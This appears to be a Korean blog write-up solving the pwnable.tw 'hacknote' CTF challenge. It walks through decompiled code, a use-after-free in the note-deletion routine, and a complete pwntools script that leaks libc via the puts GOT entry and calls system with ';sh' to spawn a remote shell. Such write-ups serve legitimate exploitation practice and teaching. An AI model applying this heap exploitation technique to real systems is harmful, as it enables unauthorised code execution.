처음에 ida를 통해 문제를 열게 되면 함수들이 sub~~어쩌구로 나오게 되는데 이것을 실행했을때 나오게 되는 선택지로 함수 이름을 복구하면 됩니다. 그래서 복구를 해보게 되면 main은
void __cdecl __noreturn main()
{
int v0; // eax
char buf; // [esp+8h] [ebp-10h]
unsigned int v2; // [esp+Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
intro();
read(0, &buf, 4u);
v0 = atoi(&buf);
if ( v0 != 2 )
break;
delete_note();
}
if ( v0 > 2 )
{
if ( v0 == 3 )
{
print_note();
}
else
{
if ( v0 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v0 != 1 )
goto LABEL_13;
add_note();
}
}
}
add_note를 보면
unsigned int add_note()
{
_DWORD *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( malloc_cnt <= 5 )
{
for ( i = 0; i <= 4; ++i ) // max : 5
{
if ( !ptr[i] )
{
ptr[i] = malloc(8u); // header
if ( !ptr[i] )
{
puts("Alloca Error");
exit(-1);
}
*ptr[i] = sub_804862B;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = ptr[i];
v0[1] = malloc(size);
if ( !*(ptr[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *(ptr[i] + 1), size);
puts("Success !");
++malloc_cnt;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
add_note부분을 보자면 우리가 요청한 크기만큼 할당을 해주는 부분인데 조건문을 통해 최대가 5번이라는 것을 알 수 있습니다. 할당 과정은 ptr배열에 우리가 원하는 size만큼 malloc할 포인터에 대한 정보가 들은 header를 저장해둡니다. 그 다음에는 그 헤더를 통해 아까 malloc()한 포인터에 접근하여 요청한 크기만큼 할당을 해줍니다. 여기서 좀 특별한 부분이 보이는데 바로 header 부분에 sub_804862B를 저장한다는 것입니다. 저 부분을 보게되면
이렇게 puts의 기능을 하는 부분이라는 것을 알 수 있습니다.
다음으로 delete_note를 보겠습니다.
여기에서는 할당한 청크들을 free시켜주는 함수 부분인데 명확하게 free를 한뒤에 ptr배열의 값을 초기화를 안하는 것을 볼 수 있습니다. 이것을 통해 익스플로잇을 할 수 있을 것 같습니다.
다음으로는 prin_note부분을 보겠습니다.
print_note부분에서는 함수포인터를 통해 값들을 출력해주게 되는데 *ptr[v1]에는 정상적으로 진행이 되었다면 sub_804862B이 들어있습니다. 즉 sub_804862B을 호출하는 것입니다. 여기서 취약점이 발생하는데 우리가 만약에 sub_804862B의 함수가 출력해주는 주소에 함수의 got주소가 있게된다면 libc leak을 손쉽게 할 수 있을 것이고 이를 바탕으로 *ptr[v1]을 system함수의 주소로 바꾸어 주면 손쉽게 쉘을 딸 수 있을 것입니다.
그래서 익스플로잇 계획은 이렇게 됩니다.
1. sub_804862B의 함수의 인자를 수정해 libc leak
2. 1번을 바탕으로 *ptr[v1]을 system함수의 주소로 바꾸어 쉘을 딴다.
1번과정을 수행하려면 uaf를 활용해야합니다. 활용하는 방식은 free시킨 청크 재사용하는 특성을 이용해 header부분을 우리가 원하느 크기만큼 할당받는 주소로 바꿉니다. 즉 header부분을 우리가 원하는대로 수정을 할 수 있도록 하는 것입니다. 그것을 코드로 나타내면
### uaf
add(5000,'a')
add(50,'a')
delete(0)
delete(1)
###########
d이렇게 하게 되면 다음에 할당을 받을 때에는 헤더 부분을 할당받게 됩니다. 이를 바탕으로 libc leak을 할 수 있습니다. 왜냐하면 헤더 부분을 수정할 수 있으므로 sub_804862B의 함수의 인자 또한 변경이 가능하기 때문입니다. 이것도 코드로 나타내면
###libc leak
fun = 0x0804862B
add(8,p32(fun) + p32(e.got['puts']))
print_note(0)
libc = u32(p.recvuntil('\xf7')) - l.sym['puts']
log.success('libc : ' + hex(libc))
log.success('sys : ' + hex(libc + l.sym['system']))
#############
d이렇게 libc leak까지 끝마쳤으면 우리는 다시한번 uaf를 이용해 우리가 원하는 system함수를 실행시킬 수 있습니다. 여기서 주의할 것이 print_note부분에서 인자가 ptr[v1]으로 들어가게 됩니다. 즉 청크 자기자신이 인자로 들어가게 됩니다. 그래서 그냥 system함수를 실행시키게 되면 system(system의 주소)이런식으로 실행이 되게 됩니다. 그래서 우리는 system(system의 주소;sh)이렇게 되게 만들 것입니다. 왜냐하면 bash보다는 sh가 같은 기능을 하는데 글자수는 적어서 더 좋기 때문입니다. 이것을 코드로 나타내면
###system(system addr;sh\x00) --> get shell
delete(2)
add(12, p32(libc + l.sym['system'])+';sh\x00')
print_note(0)
############
이렇게 되게 됩니다. 이로서 우리는 쉘을 딸 수 있습니다. 전체 코드를 보자면 이렇게 됩니다.
from pwn import *
def add(size, content):
p.sendlineafter('Your choice :', '1')
p.sendlineafter('Note size :', str(size))
p.sendafter("Content :", str(content))
def delete(idx):
p.sendlineafter('Your choice :', '2')
p.sendlineafter('Index :', str(idx))
def print_note(idx):
p.sendlineafter('Your choice :', '3')
p.sendlineafter('Index :', str(idx))
#p = process('./hacknote')
p = remote("chall.pwnable.tw", 10102)
e = ELF('./hacknote')
#l = e.libc
l = ELF('libc_32.so.6')
pause()
context.log_level="debug"
### uaf
add(5000,'a')
add(50,'a')
delete(0)
delete(1)
###########
###libc leak
fun = 0x0804862B
add(8,p32(fun) + p32(e.got['puts']))
print_note(0)
libc = u32(p.recvuntil('\xf7')) - l.sym['puts']
log.success('libc : ' + hex(libc))
log.success('sys : ' + hex(libc + l.sym['system']))
#############
###system(system addr;sh\x00) --> get shell
delete(2)
add(12, p32(libc + l.sym['system'])+';sh\x00')
print_note(0)
############
p.interactive()
'CTF write-up > pwnable.tw' 카테고리의 다른 글
[pwnable.tw] heap_paradise (0) | 2019.11.30 |
---|---|
[pwnable.tw] spirited away (0) | 2019.11.13 |
[pwnable.tw] tcache_tear (0) | 2019.11.12 |
[pwnable.tw] Unexploitable (0) | 2019.11.08 |
[pwnable.tw] secret garden (0) | 2019.11.08 |